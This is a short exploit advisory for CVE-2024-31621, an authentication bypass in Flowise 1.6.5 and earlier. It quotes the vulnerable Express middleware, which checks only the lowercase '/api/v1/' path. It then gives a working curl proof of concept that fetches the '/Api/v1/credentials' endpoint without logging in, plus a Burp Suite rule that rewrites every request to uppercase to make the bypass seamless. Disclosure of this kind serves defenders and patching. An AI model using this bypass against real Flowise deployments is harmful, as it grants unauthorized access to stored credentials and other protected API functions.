Flowise 1.6.5 - Authentication Bypass

# Exploit Title: Flowise 1.6.5 - Authentication Bypass
# Date: 17-April-2024
# Exploit Author: Maerifat Majeed
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise/releases
# Version: 1.6.5
# Tested on: mac-os
# CVE : CVE-2024-31621

The flowise version <= 1.6.5 is vulnerable to authentication bypass
vulnerability.
The code snippet

this.app.use((req, res, next) => {
>                 if (req.url.includes('/api/v1/')) {
>                     whitelistURLs.some((url) => req.url.includes(url)) ?
> next() : basicAuthMiddleware(req, res, next)
>                 } else next()
>             })


puts authentication middleware for all the endpoints with path /api/v1
except a few whitelisted endpoints. But the code does check for the case
sensitivity hence only checks for lowercase /api/v1 . Anyone modifying the
endpoints to uppercase like /API/V1 can bypass the authentication.

*POC:*
curl http://localhost:3000/Api/v1/credentials
For seamless authentication bypass. Use burpsuite feature Match and replace
rules in proxy settings. Add rule Request first line api/v1 ==> API/V1